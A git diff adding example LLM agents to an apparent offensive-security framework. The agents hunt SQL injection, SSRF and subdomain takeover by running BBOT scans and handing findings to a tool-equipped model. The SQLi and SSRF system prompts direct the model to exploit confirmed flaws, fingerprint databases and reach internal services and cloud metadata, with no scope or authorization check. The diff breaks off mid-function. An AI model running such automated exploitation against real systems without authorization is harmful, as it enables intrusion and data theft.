b/examples/agents/sqli_hunter/agent.py new file mode 100644 index 00000000..83240a80 --- /dev/null +++ b/examples/agents/sqli_hunter/agent.py @@ -0,0 +1,359 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(server=None, token=None, project="sqli-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze SQLi Finding", label="analyze_sqli_finding") +async def analyze_sqli_finding(finding_data: dict) -> dict: + """Analyze a BBOT SQL injection finding for exploitability.""" + sqli_agent = create_sqli_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + param_name = extract_param_name(description) + param_type = extract_param_type(description) + original_value = extract_original_value(description) + + console.print(f"[*] Analyzing SQL injection finding on {host}") + console.print(f" URL: {url}") + console.print(f" Parameter: {param_name} ({param_type})") + console.print(f" Original value: {original_value}") + + result = await sqli_agent.run( + f"Analyze the potential SQL injection vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value}\n\n" + f"Use the tools available to you to test for SQL injection by modifying the {param_name} parameter. " + f"Test systematically using your expertise to choose appropriate payloads and analyze responses." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_sqli_finding" in tools_used + has_sqli = finding_stored + if result.messages and result.messages[-1].content: + has_sqli = has_sqli or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "sql injection confirmed", + "sqli confirmed", + "injection successful", + "database error", + "syntax error", + "mysql error", + "postgresql error", + "oracle error", + "mssql error", + "union select", + "sql vulnerability confirmed", + "injection point found", + "database accessible", + "sql injection detected" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_sqli", 1 if has_sqli else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + db_version = "See agent analysis for database details" if has_sqli else "" + + analysis_result = { + "url": url, + "host": host, + "parameter": param_name, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_sqli": has_sqli, + "stored_in_db": finding_stored, + "db_version": db_version, + "original_finding": finding_data + } + + return analysis_result + + +def create_sqli_agent() -> Agent: + """Create a SQL injection vulnerability analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool(), OastTool()] + + return Agent( + name="sqli-hunter-agent", + description="An agent that analyzes and exploits SQL injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting SQL injection vulnerabilities. + +Use the tools available to you to test for SQL injection by modifying the vulnerable parameter with various payloads. + +Analyze responses for indicators of SQL injection. If you confirm SQL injection exists, attempt to identify the database type and version through error messages, version queries, or response patterns. + +Be thorough and systematic in your testing approach. Use your expertise to choose appropriate payloads and techniques. + +If you confirm SQL injection exists, use store_sqli_finding to record the vulnerability with details about the successful payload and evidence.""", + ) + + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + + +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") + return description[start:end] if end > start else "" + return "" + + + +def is_sqli_finding(event: dict) -> bool: + """Check if a BBOT event is a SQL injection finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'SQL Injection' in description + + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for SQL injection vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + with dn.run("sqli-hunt-from-bbot"): + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting SQL injection hunt on {len(targets)} targets using BBOT scan...") + + sqli_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + + scan_modules = modules or ["httpx", "excavate", "hunt"] + + for target in targets: + try: + console.print(f"[*] Scanning {target} for SQL injection parameters...") + + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + if is_sqli_finding(event): + total_findings += 1 + console.print(f"Found SQL injection candidate on {event.get('host')}") + + try: + analysis_result = await analyze_sqli_finding(event) + + if analysis_result["has_sqli"]: + sqli_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "sqli", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + "db_version": analysis_result["db_version"], + } + + dn.log_output(f"sqli_finding_{analysis_result['host']}", security_finding) + console.print(f"SQL INJECTION CONFIRMED on {analysis_result['host']}") + else: + console.print(f"SQL injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SQL injection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("sqli_confirmed", sqli_findings_count) + + console.print(f"\nHunt Summary:") + console.print(f" SQL injection candidates found: {total_findings}") + console.print(f" SQL injection vulnerabilities confirmed: {sqli_findings_count}") + + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SQL injection findings from a JSON file (for testing).""" + + with dn.run("sqli-analyze-findings"): + console.print(f"Analyzing findings from {finding_file}") + + try: + with open(finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + sqli_count = 0 + for finding in findings: + if is_sqli_finding(finding): + console.print(f"[*] Analyzing SQL injection finding...") + analysis_result = await analyze_sqli_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_sqli"]: + sqli_count += 1 + console.print(f"SQL INJECTION CONFIRMED!") + else: + console.print(f"No SQL injection exploitation possible") + + dn.log_metric("sqli_findings", sqli_count) + console.print(f"\nAnalysis Summary:") + console.print(f" SQL injection vulnerabilities confirmed: {sqli_count}") + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + + +async def main(): + parser = argparse.ArgumentParser(description="SQL injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for SQL injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use (default: httpx,excavate,hunt)") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze SQL injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/ssrf_hunter/.gitignore b/examples/agents/ssrf_hunter/.gitignore new file mode 100644 index 00000000..94a2dd14 --- /dev/null +++ b/examples/agents/ssrf_hunter/.gitignore @@ -0,0 +1 @@ +*.json \ No newline at end of file diff --git a/examples/agents/ssrf_hunter/agent.py b/examples/agents/ssrf_hunter/agent.py new file mode 100644 index 00000000..a3870eb3 --- /dev/null +++ b/examples/agents/ssrf_hunter/agent.py @@ -0,0 +1,368 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool +from dreadnode.agent.tools.oast.tool import OastTool + +# Import necessary components for Pydantic dataclass fix +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +# Rebuild dataclasses after all imports are complete +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +# Configure Dreadnode +dn.configure(server=None, token=None, project="ssrf-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze SSRF Finding", label="analyze_ssrf_finding") +async def analyze_ssrf_finding(finding_data: dict) -> dict: + """Analyze a BBOT SSRF finding for exploitability.""" + ssrf_agent = create_ssrf_agent() + + # Extract key details from BBOT finding + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + # Parse parameter details from description + param_name = extract_param_name(description) + param_type = extract_param_type(description) + original_value = extract_original_value(description) + + console.print(f"[*] Analyzing SSRF finding on {host}") + console.print(f" URL: {url}") + console.print(f" Parameter: {param_name} ({param_type})") + console.print(f" Original value preview: {original_value[:50]}...") + + result = await ssrf_agent.run( + f"Analyze the potential SSRF vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value[:100]}{'...' if len(original_value) > 100 else ''}\n\n" + f"Use http_request tool to test SSRF by modifying the {param_name} parameter with different payloads. " + f"Start with a few basic tests, analyze the responses, then iterate with more targeted payloads based on what you discover." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + # Check if SSRF was confirmed based on agent analysis and tool storage + finding_stored = "store_ssrf_finding" in tools_used + has_ssrf = finding_stored + if result.messages and result.messages[-1].content: + has_ssrf = has_ssrf or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "ssrf confirmed", + "server-side request forgery", + "internal service access", + "cloud metadata accessible", + "localhost accessible", + "internal network response", + "ssrf vulnerability confirmed", + "internal service responded", + "metadata endpoint accessible", + "ssrf vulnerability detected" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_ssrf", 1 if has_ssrf else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + analysis_result = { + "url": url, + "host": host, + "parameter": param_name, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_ssrf": has_ssrf, + "stored_in_db": finding_stored, + "original_finding": finding_data + } + + return analysis_result + + +def create_ssrf_agent() -> Agent: + """Create an SSRF vulnerability analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool(), OastTool()] + + return Agent( + name="ssrf-hunter-agent", + description="An agent that analyzes and exploits SSRF vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting Server-Side Request Forgery (SSRF) vulnerabilities. + +Use the tools available to you to test for SSRF systematically. Consider both direct response SSRF and blind SSRF detection. + +For blind SSRF detection, use the Interactsh OAST tools: +1. Generate OAST payloads with interactsh_generate_payload() +2. Use the payload in SSRF tests +3. Check for out-of-band interactions with interactsh_check_interactions() + +Test various SSRF scenarios including internal services, cloud metadata, and external callbacks. + +If you confirm SSRF exists, use store_ssrf_finding to record the vulnerability with details about the successful payload and evidence.""", + ) + + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + + +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") # Last bracket + return description[start:end] if end > start else "" + return "" + + +def is_ssrf_finding(event: dict) -> bool: + """Check if a BBOT event is an SSRF finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'Server-side Request Forgery' in description + + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for SSRF vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + # Start dreadnode run context + with dn.run("ssrf-hunt-from-bbot"): + # Log parameters + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting SSRF hunt on {len(targets)} targets using BBOT scan...") + + # Track findings + ssrf_findings_count = 0 + total_findings = 0 + + # Run BBOT scan with hunt module to find potential SSRF parameters + tool = BBotTool() + + # Use hunt module to find parameters, plus httpx for web crawling + scan_modules = modules or ["httpx", "excavate", "hunt"] + + for target in targets: + try: + console.print(f"[*] Scanning {target} for SSRF parameters...") + + scan_config = config or {"omit_event_types": []} + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=scan_config, + ) + + async for event in events: + # Filter for SSRF findings + if is_ssrf_finding(event): + total_findings += 1 + console.print(f"Found SSRF candidate on {event.get('host')}") + + # Analyze the SSRF finding + try: + analysis_result = await analyze_ssrf_finding(event) + + if analysis_result["has_ssrf"]: + ssrf_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "ssrf", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"ssrf_finding_{analysis_result['host']}", security_finding) + console.print(f"SSRF CONFIRMED on {analysis_result['host']}") + else: + console.print(f"SSRF not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SSRF finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("ssrf_confirmed", ssrf_findings_count) + + console.print(f"\nHunt Summary:") + console.print(f" SSRF candidates found: {total_findings}") + console.print(f" SSRF vulnerabilities confirmed: {ssrf_findings_count}") + + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SSRF findings from a JSON file (for testing).""" + + with dn.run("ssrf-analyze-findings"): + console.print(f"Analyzing findings from {finding_file}") + + try: + with open(finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + ssrf_count = 0 + for finding in findings: + if is_ssrf_finding(finding): + console.print(f"[*] Analyzing SSRF finding...") + analysis_result = await analyze_ssrf_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_ssrf"]: + ssrf_count += 1 + console.print(f"SSRF CONFIRMED!") + else: + console.print(f"No SSRF exploitation possible") + + dn.log_metric("ssrf_findings", ssrf_count) + console.print(f"\nAnalysis Summary:") + console.print(f" SSRF vulnerabilities confirmed: {ssrf_count}") + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + + +async def main(): + parser = argparse.ArgumentParser(description="SSRF vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + # Hunt command - scan targets and analyze SSRF findings + hunt_parser = subparsers.add_parser("hunt", help="Hunt for SSRF vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use (default: httpx,excavate,hunt)") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + # Analyze command - analyze findings from JSON file + analyze_parser = subparsers.add_parser("analyze", help="Analyze SSRF findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file diff --git a/examples/agents/subdomain_takeover/.gitignore b/examples/agents/subdomain_takeover/.gitignore new file mode 100644 index 00000000..94a2dd14 --- /dev/null +++ b/examples/agents/subdomain_takeover/.gitignore @@ -0,0 +1 @@ +*.json \ No newline at end of file diff --git a/examples/agents/subdomain_takeover/__init__.py b/examples/agents/subdomain_takeover/__init__.py new file mode 100644 index 00000000..c143fcea --- /dev/null +++ b/examples/agents/subdomain_takeover/__init__.py @@ -0,0 +1 @@ +# Subdomain takeover detection agent \ No newline at end of file diff --git a/examples/agents/subdomain_takeover/agent.py b/examples/agents/subdomain_takeover/agent.py new file mode 100644 index 00000000..f9a1ca73 --- /dev/null +++ b/examples/agents/subdomain_takeover/agent.py @@ -0,0 +1,678 @@ +import argparse +import asyncio +import json +import re +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool + +# Import necessary components for Pydantic dataclass fix +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +# Rebuild dataclasses after all imports are complete +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +# Configure Dreadnode +dn.configure(server=None, token=None, project="subdomain-takeover-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze Subdomain", label="analyze_subdomain") +async def analyze_subdomain(subdomain: str) -> dict: + """Analyze a single subdomain for takeover vulnerabilities.""" + takeover_agent = create_takeover_agent() + + result = await takeover_agent.run( + f"Analyze the subdomain '{subdomain}' for potential takeover vulnerabilities. " + f"Use your tools as needed and provide a concise risk assessment." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tools_used.append(tool_call.function.name) + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + dn.log_output(f"tool_output_{tool_name}", message.content) + + if "Commands executed:" in message.content: + commands_section = message.content.split("Commands executed:")[1].split("Results:")[ + 0 + ] + commands = [ + line.strip() for line in commands_section.strip().split("\n") if line.strip() + ] + dn.log_output(f"executed_commands_{tool_name}", commands) + + finding_stored = "store_subdomain_takeover_finding" in tools_used + has_finding = finding_stored + if result.messages and result.messages[-1].content: + has_finding = has_finding or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "potential takeover", + "subdomain takeover vulnerability", + "takeover vulnerability", + "vulnerable to takeover", + "dangling cname", + "unclaimed resource", + "takeover indicator", + "successful subdomain takeover", + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_finding", 1 if has_finding else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + analysis_result = { + "subdomain": subdomain, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_finding": has_finding, + "stored_in_db": finding_stored, + } + + return analysis_result + + +def create_takeover_agent() -> Agent: + """Create a subdomain takeover analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] + + return Agent( + name="subdomain-takeover-agent", + description="An agent that detects and stores subdomain takeover vulnerabilities", + model="gpt-4", + tools=tools, + instructions="""You are an expert at detecting subdomain takeover vulnerabilities. + +FOCUS: Look for subdomains with DNS records (CNAME/A) pointing to unclaimed third-party services. + +Key patterns: +- DNS resolves to third-party service (AWS S3, GitHub Pages, Heroku, Azure, Shopify, etc.) +- Service responds with error messages indicating unclaimed/deleted resource: + * "No such bucket" + * "This site isn't configured" + * "Project not found" + * "There isn't a GitHub Pages site here" + * "herokucdn.com/error-pages" + +IMPORTANT: If CNAME resolves to A record owned by target organization, takeover is highly unlikely. + +Example vulnerability: +marketing.example.com → CNAME → myapp.herokudns.com (but myapp is deleted/unclaimed) + +Report ONLY actual takeover vulnerabilities, not general DNS misconfigurations. + +When you find CONFIRMED takeover vulnerabilities, store them using Neo4jTool.store_subdomain_takeover_finding(subdomain, vulnerability_type, risk_level, cname_target, error_message, service_provider).""", + ) + + +def is_subdomain_takeover_event(event: dict) -> bool: + """Check if a BBOT event is related to potential subdomain takeover.""" + event_type = event.get('type') + + # Handle DNS_NAME events with CNAME records + if event_type == 'DNS_NAME': + dns_children = event.get('dns_children', {}) + cname_records = dns_children.get('CNAME', []) + + if not cname_records: + return False + + # Check for cloud service indicators in CNAME targets + cloud_indicators = [ + 'amazonaws.com', 'elb.amazonaws.com', 's3.amazonaws.com', + 'azurewebsites.net', 'cloudfront.net', 'herokuapp.com', + 'github.io', 'netlify.com', 'vercel.app', 'surge.sh', + 'shopify.com', 'myshopify.com', 'fastly.com' + ] + + for cname in cname_records: + if any(indicator in cname.lower() for indicator in cloud_indicators): + return True + + # Handle VULNERABILITY events from baddns module + elif event_type == 'VULNERABILITY': + description = event.get('data', {}).get('description', '').lower() + tags = event.get('tags', []) + + # Look for NS record issues that could lead to subdomain takeover + ns_indicators = [ + 'dangling ns', 'ns records without soa', 'baddns-ns' + ] + + if any(indicator in description for indicator in ns_indicators) or 'baddns-ns' in tags: + return True + + return False + + +@dn.task(name="Analyze Event for Subdomain Takeover", label="analyze_event_takeover") +async def analyze_dns_event(event_data: dict) -> dict: + """Analyze a BBOT event for subdomain takeover vulnerability.""" + takeover_agent = create_takeover_agent() + + event_type = event_data.get('type') + host = event_data.get('host', '') + + if event_type == 'DNS_NAME': + subdomain = event_data.get('data', '') + dns_children = event_data.get('dns_children', {}) + cname_records = dns_children.get('CNAME', []) + + console.print(f"[*] Analyzing DNS_NAME event for subdomain takeover on {host}") + console.print(f" Subdomain: {subdomain}") + console.print(f" CNAME targets: {', '.join(cname_records)}") + + prompt = ( + f"Analyze the subdomain '{subdomain}' for subdomain takeover vulnerability. " + f"The subdomain has CNAME records pointing to: {', '.join(cname_records)}. " + f"Use the tools available to you to test if this subdomain can be taken over." + ) + + elif event_type == 'VULNERABILITY': + subdomain = host + description = event_data.get('data', {}).get('description', '') + severity = event_data.get('data', {}).get('severity', '') + + console.print(f"[*] Analyzing VULNERABILITY event for subdomain takeover on {host}") + console.print(f" Subdomain: {subdomain}") + console.print(f" Severity: {severity}") + console.print(f" Description: {description[:100]}...") + + # Extract NS records from description if available + ns_records = [] + if 'trigger:' in description.lower(): + trigger_part = description.split('Trigger: [')[1].split(']')[0] if 'Trigger: [' in description else '' + if trigger_part: + ns_records = [ns.strip() for ns in trigger_part.split(',')] + + prompt = ( + f"Analyze the subdomain '{subdomain}' for NS record takeover vulnerability. " + f"BBOT detected: {description}. " + f"This indicates dangling NS records without SOA records. " + f"NS records found: {', '.join(ns_records)}. " + f"Use DNS tools to verify if NS records exist but no SOA record is present, " + f"which could indicate a zone takeover opportunity." + ) + else: + raise ValueError(f"Unsupported event type: {event_type}") + + result = await takeover_agent.run(prompt) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_subdomain_takeover_finding" in tools_used + has_takeover = finding_stored + if result.messages and result.messages[-1].content: + has_takeover = has_takeover or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "subdomain takeover confirmed", + "takeover vulnerability confirmed", + "vulnerable to takeover", + "dangling cname", + "unclaimed resource", + "takeover possible", + "subdomain can be taken over" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_takeover", 1 if has_takeover else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + # Build analysis result based on event type + analysis_result = { + "event_type": event_type, + "subdomain": subdomain, + "host": host, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_takeover": has_takeover, + "stored_in_db": finding_stored, + "original_event": event_data + } + + # Add event-specific fields + if event_type == 'DNS_NAME': + analysis_result["cname_targets"] = cname_records + elif event_type == 'VULNERABILITY': + analysis_result["vulnerability_description"] = description + analysis_result["severity"] = severity + analysis_result["ns_records"] = ns_records + + return analysis_result + + +def display_analysis_result(result: AgentResult, subdomain: str, debug: bool = False) -> None: + """Display the agent's analysis result.""" + if not result or not result.messages: + console.print("Analysis completed but no content available") + return + + # Show which tools the agent decided to use + tools_used = [] + tool_outputs = {} + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tools_used.append(tool_call.function.name) + elif message.role == "tool" and debug: + # Capture tool outputs for debugging + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + + if tools_used: + console.print(f"Agent used: {', '.join(tools_used)}") + + # Show raw tool outputs in debug mode + if debug and tool_outputs: + console.print("\n[DEBUG] Raw tool outputs:") + for tool_name, output in tool_outputs.items(): + console.print( + f" {tool_name}: {output[:200]}..." + if len(output) > 200 + else f" {tool_name}: {output}" + ) + + final_message = result.messages[-1] + if final_message.content: + console.print(f"\nAnalysis for {subdomain}:") + console.print(final_message.content) + console.print(f"\nProcessed {len(result.messages)} messages in {result.steps} steps") + + +def display_analysis_result_from_task(analysis_result: dict, debug: bool = False) -> None: + """Display analysis result from task.""" + console.print(f"Agent used: {', '.join(analysis_result['tools_used'])}") + + if debug and analysis_result["tool_outputs"]: + console.print("\n[DEBUG] Raw tool outputs:") + for tool_name, output in analysis_result["tool_outputs"].items(): + console.print( + f" {tool_name}: {output[:200]}..." + if len(output) > 200 + else f" {tool_name}: {output}" + ) + + console.print(f"\nAnalysis for {analysis_result['subdomain']}:") + console.print(analysis_result["analysis"]) + console.print( + f"\nProcessed {len(analysis_result['tool_outputs'])} tool calls in {analysis_result['steps']} steps" + ) + + +async def hunt( + targets: Path | None = None, 